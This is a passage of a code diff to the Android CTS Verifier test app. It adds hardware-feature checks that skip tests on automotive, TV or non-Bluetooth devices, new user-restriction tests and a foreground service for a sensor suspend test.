 import android.os.Bundle;
 import android.util.Log;
 import android.widget.Toast;
+import android.content.Context;
+import android.content.pm.PackageManager;
 
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
@@ -61,6 +63,14 @@
     }
 
     private void test() {
+
+        if (!getApplicationContext().getPackageManager().
+                  hasSystemFeature(PackageManager.FEATURE_BLUETOOTH)) {
+            Log.d(LOG_TAG, "PackageManager.FEATURE_BLUETOOTH not supported. This test case is not applicable");
+            getPassButton().setEnabled(true);
+            return;
+        }
+
         mInitialAssociations = mCompanionDeviceManager.getAssociations();
 
         AssociationRequest request = new AssociationRequest.Builder()
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
index 395eac0..81e1e9f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureSummaryActivity.java
@@ -277,6 +277,7 @@
         boolean hasTelephony = false;
         boolean hasBluetooth = false;
         boolean hasIllegalFeature = false;
+        boolean hasTelevision = false;
 
         // get list of all features device thinks it has, & store in a HashMap
         // for fast lookups
@@ -343,6 +344,8 @@
         if (apiVersion >= Build.VERSION_CODES.ECLAIR_MR1) {
             Collections.addAll(features, ALL_ECLAIR_FEATURES);
         }
+
+        hasTelevision = getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEVISION);
         for (Feature f : features) {
             HashMap<String, Object> row = new HashMap<String, Object>();
             listViewData.add(row);
@@ -358,6 +361,9 @@
                 // it's required, but device doesn't report it. Boo, set the
                 // bogus icon
                 statusIcon = R.drawable.fs_error;
+                if (hasTelevision && PackageManager.FEATURE_LOCATION.equals(f.name)) {
+                    statusIcon = R.drawable.fs_indeterminate;
+                }
             } else {
                 // device doesn't report it, but it's not req'd, so can't tell
                 // if there's a problem
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
index 4909497..c779a2a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/GpsTestActivity.java
@@ -19,6 +19,8 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+import com.android.compatibility.common.util.CddTest;
+
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Typeface;
@@ -41,6 +43,7 @@
 /**
  * CTS Verifier case for verifying GPS.
  */
+@CddTest(requirement="7.3.3/C-1-1")
 public class GpsTestActivity extends PassFailButtons.Activity implements PassFailLog {
     private LocationManager mLocationManager;
     private TextView mTextView;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
index 20a618c..e62c21f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/location/base/GnssCtsTestActivity.java
@@ -99,7 +99,7 @@
 
     /**
      * For reference on the implementation of this test executor see:
-     *      android.support.test.runner.AndroidJUnitRunner
+     *      androidx.test.runner.AndroidJUnitRunner
      */
     @Override
     protected GnssTestDetails executeTests() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index 5f90b66..67f82d0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -647,12 +647,14 @@
                     .show();
         }
 
-        mWidgetTest = TestListItem.newTest(this,
-                R.string.provisioning_byod_work_profile_widget,
-                WorkProfileWidgetActivity.class.getName(),
-                new Intent(WorkProfileWidgetActivity.ACTION_TEST_WORK_PROFILE_WIDGET),
-                new String[] {PackageManager.FEATURE_APP_WIDGETS});
-        adapter.add(mWidgetTest);
+        if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_APP_WIDGETS)) {
+            mWidgetTest = TestListItem.newTest(this,
+                    R.string.provisioning_byod_work_profile_widget,
+                    WorkProfileWidgetActivity.class.getName(),
+                    new Intent(WorkProfileWidgetActivity.ACTION_TEST_WORK_PROFILE_WIDGET),
+                    new String[]{PackageManager.FEATURE_APP_WIDGETS});
+            adapter.add(mWidgetTest);
+        }
 
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
index 078e9ce..dffce56 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerNegativeTestActivity.java
@@ -20,6 +20,7 @@
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Intent;
+import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
 import android.provider.Settings;
@@ -98,10 +99,12 @@
                         .putExtra(EnterprisePrivacyInfoOnlyTestActivity.EXTRA_INFO,
                                 R.string.enterprise_privacy_quick_settings_negative_info),
                         null));
-        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE,
-                R.string.enterprise_privacy_keyguard_negative,
-                R.string.enterprise_privacy_keyguard_negative_info,
-                new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS))));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD_NEGATIVE,
+                    R.string.enterprise_privacy_keyguard_negative,
+                    R.string.enterprise_privacy_keyguard_negative_info,
+                    new ButtonInfo(R.string.go_button_text, new Intent(Settings.ACTION_SETTINGS))));
+        }
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT_NEGATIVE,
                 R.string.enterprise_privacy_add_account_negative,
                 R.string.enterprise_privacy_add_account_negative_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 75d884f..ff4f540 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -77,6 +77,7 @@
     private static final String MANAGED_USER_TEST_ID = "MANAGED_USER_UI";
     private static final String REMOVE_DEVICE_OWNER_TEST_ID = "REMOVE_DEVICE_OWNER";
     private static final String DISALLOW_AMBIENT_DISPLAY_ID = "DISALLOW_AMBIENT_DISPLAY";
+    private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -400,6 +401,22 @@
                             new ButtonInfo(
                                     R.string.device_owner_settings_go,
                                     new Intent(Settings.ACTION_SETTINGS))}));
+
+            // DISALLOW_REMOVE_USER
+            adapter.add(createInteractiveTestItem(this, DISALLOW_REMOVE_USER_TEST_ID,
+                    R.string.disallow_remove_user,
+                    R.string.device_owner_disallow_remove_user_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(
+                                    R.string.device_owner_disallow_remove_user_create_user,
+                                    createCreateManagedUserWithoutSetupIntent()),
+                            new ButtonInfo(
+                                    R.string.device_owner_user_restriction_set,
+                                    CommandReceiverActivity.createSetUserRestrictionIntent(
+                                            UserManager.DISALLOW_REMOVE_USER, true)),
+                            new ButtonInfo(
+                                    R.string.device_owner_settings_go,
+                                    new Intent(Settings.ACTION_SETTINGS))}));
         }
 
         // Network logging UI
@@ -493,6 +510,7 @@
     private boolean isStatusBarEnabled() {
       // Watches don't support the status bar so this is an ok proxy, but this is not the most
       // general test for that. TODO: add a test API to do a real check for status bar support.
-      return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+      return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH) && 
+             !getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 3a16297..519d50b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -312,20 +312,22 @@
                                         CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
                                         .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
                                                 "Foo, Inc."))}));
-        adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
-                R.string.enterprise_privacy_keyguard,
-                R.string.enterprise_privacy_keyguard_info,
-                new ButtonInfo[] {
-                        new ButtonInfo(R.string.enterprise_privacy_open_settings,
-                                new Intent(Settings.ACTION_SETTINGS)),
-                        new ButtonInfo(R.string.enterprise_privacy_clear_organization,
-                                buildCommandIntent(
-                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
-                        new ButtonInfo(R.string.enterprise_privacy_set_organization,
-                                buildCommandIntent(
-                                        CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
-                                        .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
-                                                "Foo, Inc."))}));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_KEYGUARD,
+                    R.string.enterprise_privacy_keyguard,
+                    R.string.enterprise_privacy_keyguard_info,
+                    new ButtonInfo[]{
+                            new ButtonInfo(R.string.enterprise_privacy_open_settings,
+                                    new Intent(Settings.ACTION_SETTINGS)),
+                            new ButtonInfo(R.string.enterprise_privacy_clear_organization,
+                                    buildCommandIntent(
+                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)),
+                            new ButtonInfo(R.string.enterprise_privacy_set_organization,
+                                    buildCommandIntent(
+                                            CommandReceiverActivity.COMMAND_SET_ORGANIZATION_NAME)
+                                            .putExtra(CommandReceiverActivity.EXTRA_ORGANIZATION_NAME,
+                                                    "Foo, Inc."))}));
+        }
         adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ADD_ACCOUNT,
                 R.string.enterprise_privacy_add_account,
                 R.string.enterprise_privacy_add_account_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
index 31a8791..6637509 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/KeyguardDisabledFeaturesActivity.java
@@ -110,12 +110,14 @@
     }
 
     protected void setupDisableUnredactedWorkNotification(ArrayTestListAdapter adapter) {
-        adapter.add(new DialogTestListItemWithIcon(this,
-                R.string.provisioning_byod_disable_unredacted_notifications,
-                getTestIdPrefix() + "DisableUnredactedNotifications",
-                R.string.provisioning_byod_disable_unredacted_notifications_instruction,
-                new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
-                R.drawable.ic_corp_icon));
+        if(!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(new DialogTestListItemWithIcon(this,
+                    R.string.provisioning_byod_disable_unredacted_notifications,
+                    getTestIdPrefix() + "DisableUnredactedNotifications",
+                    R.string.provisioning_byod_disable_unredacted_notifications_instruction,
+                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN),
+                    R.drawable.ic_corp_icon));
+        }
     }
 
     protected void setupFingerprintTests(ArrayTestListAdapter adapter) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
index b04ec47..82612f7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/LockTaskUiTestActivity.java
@@ -36,6 +36,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.AsyncTask;
 import android.os.Bundle;
@@ -125,47 +126,57 @@
     }
 
     private void addTestsToAdapter(final ArrayTestListAdapter adapter) {
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_DEFAULT,
-                LOCK_TASK_FEATURE_NONE,
-                R.string.device_owner_lock_task_ui_default_test,
-                R.string.device_owner_lock_task_ui_default_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_DEFAULT,
+                    LOCK_TASK_FEATURE_NONE,
+                    R.string.device_owner_lock_task_ui_default_test,
+                    R.string.device_owner_lock_task_ui_default_test_info));
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_SYSTEM_INFO,
-                LOCK_TASK_FEATURE_SYSTEM_INFO,
-                R.string.device_owner_lock_task_ui_system_info_test,
-                R.string.device_owner_lock_task_ui_system_info_test_info));
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_SYSTEM_INFO,
+                    LOCK_TASK_FEATURE_SYSTEM_INFO,
+                    R.string.device_owner_lock_task_ui_system_info_test,
+                    R.string.device_owner_lock_task_ui_system_info_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_NOTIFICATIONS,
-                LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_NOTIFICATIONS,
-                R.string.device_owner_lock_task_ui_notifications_test,
-                R.string.device_owner_lock_task_ui_notifications_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_NOTIFICATIONS,
+                    LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_NOTIFICATIONS,
+                    R.string.device_owner_lock_task_ui_notifications_test,
+                    R.string.device_owner_lock_task_ui_notifications_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_HOME,
-                LOCK_TASK_FEATURE_HOME,
-                R.string.device_owner_lock_task_ui_home_test,
-                R.string.device_owner_lock_task_ui_home_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_HOME,
+                    LOCK_TASK_FEATURE_HOME,
+                    R.string.device_owner_lock_task_ui_home_test,
+                    R.string.device_owner_lock_task_ui_home_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_RECENTS,
-                LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_OVERVIEW,
-                R.string.device_owner_lock_task_ui_recents_test,
-                R.string.device_owner_lock_task_ui_recents_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_RECENTS,
+                    LOCK_TASK_FEATURE_HOME | LOCK_TASK_FEATURE_OVERVIEW,
+                    R.string.device_owner_lock_task_ui_recents_test,
+                    R.string.device_owner_lock_task_ui_recents_test_info));
+        }
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_GLOBAL_ACTIONS,
-                LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
-                R.string.device_owner_lock_task_ui_global_actions_test,
-                R.string.device_owner_lock_task_ui_global_actions_test_info));
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_GLOBAL_ACTIONS,
+                    LOCK_TASK_FEATURE_GLOBAL_ACTIONS,
+                    R.string.device_owner_lock_task_ui_global_actions_test,
+                    R.string.device_owner_lock_task_ui_global_actions_test_info));
 
-        adapter.add(createSetLockTaskFeaturesTest(
-                TEST_ID_KEYGUARD,
-                LOCK_TASK_FEATURE_KEYGUARD,
-                R.string.device_owner_lock_task_ui_keyguard_test,
-                R.string.device_owner_lock_task_ui_keyguard_test_info));
+            adapter.add(createSetLockTaskFeaturesTest(
+                    TEST_ID_KEYGUARD,
+                    LOCK_TASK_FEATURE_KEYGUARD,
+                    R.string.device_owner_lock_task_ui_keyguard_test,
+                    R.string.device_owner_lock_task_ui_keyguard_test_info));
+        }
 
         final Intent stopLockTaskIntent = new Intent(this, LockTaskUiTestActivity.class);
         stopLockTaskIntent.setAction(ACTION_STOP_LOCK_TASK);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index aa20b68..dd2a639 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -24,6 +24,7 @@
 import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.os.Bundle;
+import android.os.UserManager;
 import android.provider.Settings;
 
 import com.android.cts.verifier.ArrayTestListAdapter;
@@ -49,6 +50,7 @@
     private static final String DISABLE_STATUS_BAR_TEST_ID = "DISABLE_STATUS_BAR";
     private static final String DISABLE_KEYGUARD_TEST_ID = "DISABLE_KEYGUARD";
     private static final String POLICY_TRANSPARENCY_TEST_ID = "POLICY_TRANSPARENCY";
+    private static final String DISALLOW_REMOVE_USER_TEST_ID = "DISALLOW_REMOVE_USER";
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -148,6 +150,19 @@
                                         CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
                                         false))}));
 
+        // DISALLOW_REMOVE_USER
+        adapter.add(createInteractiveTestItem(this, DISALLOW_REMOVE_USER_TEST_ID,
+                R.string.disallow_remove_user,
+                R.string.managed_user_disallow_remove_user_info,
+                new ButtonInfo[]{
+                        new ButtonInfo(
+                                R.string.device_owner_user_restriction_set,
+                                CommandReceiverActivity.createSetUserRestrictionIntent(
+                                        UserManager.DISALLOW_REMOVE_USER, true)),
+                        new ButtonInfo(
+                                R.string.device_owner_settings_go,
+                                new Intent(Settings.ACTION_SETTINGS))}));
+
         // Policy Transparency
         final Intent policyTransparencyTestIntent = new Intent(this,
                 PolicyTransparencyTestListActivity.class);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 1be781b..12b0da8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -31,7 +31,6 @@
 
 public class UserRestrictions {
     private static final String[] RESTRICTION_IDS_FOR_POLICY_TRANSPARENCY = new String[] {
-        UserManager.DISALLOW_ADD_USER,
         UserManager.DISALLOW_ADJUST_VOLUME,
         UserManager.DISALLOW_APPS_CONTROL,
         UserManager.DISALLOW_CONFIG_CELL_BROADCASTS,
@@ -47,7 +46,6 @@
         UserManager.DISALLOW_NETWORK_RESET,
         UserManager.DISALLOW_OUTGOING_BEAM,
         UserManager.DISALLOW_REMOVE_MANAGED_PROFILE,
-        UserManager.DISALLOW_REMOVE_USER,
         UserManager.DISALLOW_SHARE_LOCATION,
         UserManager.DISALLOW_UNINSTALL_APPS,
         UserManager.DISALLOW_UNIFIED_PASSWORD,
@@ -61,7 +59,6 @@
     private static final ArrayMap<String, UserRestrictionItem> USER_RESTRICTION_ITEMS;
     static {
         final int[] restrictionLabels = new int[] {
-            R.string.disallow_add_user,
             R.string.disallow_adjust_volume,
             R.string.disallow_apps_control,
             R.string.disallow_config_cell_broadcasts,
@@ -77,7 +74,6 @@
             R.string.disallow_network_reset,
             R.string.disallow_outgoing_beam,
             R.string.disallow_remove_managed_profile,
-            R.string.disallow_remove_user,
             R.string.disallow_share_location,
             R.string.disallow_uninstall_apps,
             R.string.disallow_unified_challenge,
@@ -89,7 +85,6 @@
         };
 
         final int[] restrictionActions = new int[] {
-            R.string.disallow_add_user_action,
             R.string.disallow_adjust_volume_action,
             R.string.disallow_apps_control_action,
             R.string.disallow_config_cell_broadcasts_action,
@@ -105,7 +100,6 @@
             R.string.disallow_network_reset_action,
             R.string.disallow_outgoing_beam_action,
             R.string.disallow_remove_managed_profile_action,
-            R.string.disallow_remove_user_action,
             R.string.disallow_share_location_action,
             R.string.disallow_uninstall_apps_action,
             R.string.disallow_unified_challenge_action,
@@ -117,7 +111,6 @@
         };
 
         final String[] settingsIntentActions = new String[] {
-            Settings.ACTION_SETTINGS,
             Settings.ACTION_SOUND_SETTINGS,
             Settings.ACTION_APPLICATION_SETTINGS,
             Settings.ACTION_SETTINGS,
@@ -133,7 +126,6 @@
             Settings.ACTION_SETTINGS,
             Settings.ACTION_NFC_SETTINGS,
             Settings.ACTION_SETTINGS,
-            Settings.ACTION_SETTINGS,
             Settings.ACTION_LOCATION_SOURCE_SETTINGS,
             Settings.ACTION_APPLICATION_SETTINGS,
             Settings.ACTION_SECURITY_SETTINGS,
@@ -175,14 +167,12 @@
                     UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES,
                     UserManager.DISALLOW_MODIFY_ACCOUNTS,
                     UserManager.DISALLOW_OUTGOING_BEAM,
-                    UserManager.DISALLOW_REMOVE_USER,
                     UserManager.DISALLOW_SHARE_LOCATION,
                     UserManager.DISALLOW_UNINSTALL_APPS,
                     UserManager.DISALLOW_CONFIG_DATE_TIME,
                     UserManager.DISALLOW_CONFIG_LOCATION,
                     UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT,
-                    UserManager.DISALLOW_CONFIG_BRIGHTNESS,
-                    UserManager.DISALLOW_AMBIENT_DISPLAY);
+                    UserManager.DISALLOW_CONFIG_BRIGHTNESS);
 
     public static String getRestrictionLabel(Context context, String restriction) {
         final UserRestrictionItem item = findRestrictionItem(restriction);
@@ -237,9 +227,6 @@
     public static boolean isRestrictionValid(Context context, String restriction) {
         final PackageManager pm = context.getPackageManager();
         switch (restriction) {
-            case UserManager.DISALLOW_ADD_USER:
-            case UserManager.DISALLOW_REMOVE_USER:
-                return UserManager.supportsMultipleUsers();
             case UserManager.DISALLOW_ADJUST_VOLUME:
                 return pm.hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
             case UserManager.DISALLOW_CONFIG_CELL_BROADCASTS:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
index 211d385..a233250 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/DeviceSuspendTestActivity.java
@@ -12,7 +12,12 @@
 import com.android.cts.verifier.sensors.helpers.SensorTestScreenManipulator;
 
 import android.app.AlarmManager;
+import android.app.IntentService;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.app.PendingIntent;
+import android.app.Service;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -35,6 +40,7 @@
 import android.hardware.cts.helpers.SensorNotSupportedException;
 import android.hardware.cts.helpers.sensorverification.BatchArrivalVerification;
 import android.hardware.cts.helpers.sensorverification.TimestampClockSourceVerification;
+import android.os.IBinder;
 import android.os.PowerManager;
 import android.os.PowerManager.WakeLock;
 import android.os.SystemClock;
@@ -75,6 +81,11 @@
             PowerManager pm = (PowerManager)getSystemService(Context.POWER_SERVICE);
             mDeviceSuspendLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
                                                 "DeviceSuspendTestActivity");
+
+            // Launch a foreground service to ensure that the test remains in the foreground and is
+            // able to be woken-up when sensor data is delivered.
+            startForegroundService(new Intent(this, DeviceSuspendTestService.class));
+
             mDeviceSuspendLock.acquire();
             SensorTestLogger logger = getTestLogger();
             logger.logInstructions(R.string.snsr_device_suspend_test_instr);
@@ -93,6 +104,8 @@
             if (mDeviceSuspendLock != null && mDeviceSuspendLock.isHeld()) {
                 mDeviceSuspendLock.release();
             }
+
+            stopService(new Intent(this, DeviceSuspendTestService.class));
         }
 
         @Override
@@ -122,6 +135,39 @@
             }
         };
 
+        public static class DeviceSuspendTestService extends Service {
+            private static final String NOTIFICATION_CHANNEL_ID =
+                    "com.android.cts.verifier.sensors.DeviceSuspendTestActivity.Notification";
+            private static final String NOTIFICATION_CHANNEL_NAME = "Device Suspend Test";
+
+            @Override
+            public IBinder onBind(Intent intent) {
+                return null;
+            }
+
+            @Override
+            public int onStartCommand(Intent intent, int flags, int startId) {
+                NotificationChannel channel = new NotificationChannel(
+                        NOTIFICATION_CHANNEL_ID,
+                        NOTIFICATION_CHANNEL_NAME,
+                        NotificationManager.IMPORTANCE_DEFAULT);
+                NotificationManager notificationManager =
+                        getSystemService(NotificationManager.class);
+                notificationManager.createNotificationChannel(channel);
+                Notification notification =
+                        new Notification.Builder(getApplicationContext(), NOTIFICATION_CHANNEL_ID)
+                        .setContentTitle(getString(R.string.snsr_device_suspend_service_active))
+                        .setContentText(getString(
+                                R.string.snsr_device_suspend_service_notification))
+                        .setSmallIcon(R.drawable.icon)
+                        .setAutoCancel(true)
+                        .build();
+                startForeground(1, notification);
+
+                return START_NOT_STICKY;
+            }
+        }
+
         public String testAPWakeUpWhenReportLatencyExpiresAccel() throws Throwable {
             Sensor wakeUpSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER, true);
             if (wakeUpSensor == null) {
@@ -187,18 +233,9 @@
         }
 
         /**
-         * Verify that each continuous sensor is using the correct
-         * clock source (CLOCK_BOOTTIME) for timestamps.
+         * Verify that the device is able to suspend
          */
-        public String testTimestampClockSource() throws Throwable {
-            String string = null;
-            boolean error_occurred = false;
-            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
-            if (sensorList == null) {
-                throw new SensorTestStateNotSupportedException(
-                    "Sensors are not available in the system.");
-            }
-
+        public void verifyDeviceCanSuspend() throws Throwable {
             // Make sure clocks are different (i.e. kernel has suspended at least once)
             // so that we can determine if sensors are using correct clocksource timestamp
             final int MAX_SLEEP_ATTEMPTS = 10;
@@ -238,6 +275,22 @@
                 mDeviceSuspendLock.acquire();
             }
             mAlarmManager.cancel(mPendingIntent);
+        }
+
+        /**
+         * Verify that each continuous sensor is using the correct
+         * clock source (CLOCK_BOOTTIME) for timestamps.
+         */
+        public String testTimestampClockSource() throws Throwable {
+            String string = null;
+            boolean error_occurred = false;
+            List<Sensor> sensorList = mSensorManager.getSensorList(Sensor.TYPE_ALL);
+            if (sensorList == null) {
+                throw new SensorTestStateNotSupportedException(
+                    "Sensors are not available in the system.");
+            }
+
+            boolean needToVerifySuspend = true;
 
             for (Sensor sensor : sensorList) {
                 if (sensor.getReportingMode() != Sensor.REPORTING_MODE_CONTINUOUS) {
@@ -248,6 +301,12 @@
                     Log.i(TAG, "testTimestampClockSource skipping vendor specific sensor: '" + sensor.getName());
                     continue;
                 }
+
+                if (needToVerifySuspend) {
+                    verifyDeviceCanSuspend();
+                    needToVerifySuspend = false;
+                }
+
                 try {
                     string = runVerifySensorTimestampClockbase(sensor, false);
                     if (string != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
index 789de68..9fbeba2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/RVCVXCheckTestActivity.java
@@ -167,7 +167,7 @@
 
             // acquire a partial wake lock just in case CPU fall asleep
             PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
-            PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK,
+            PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.FULL_WAKE_LOCK,
                     "RVCVXCheckAnalyzer");
 
             wl.acquire();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/base/SensorCtsTestActivity.java
index 6512fd3..580ea58 100644
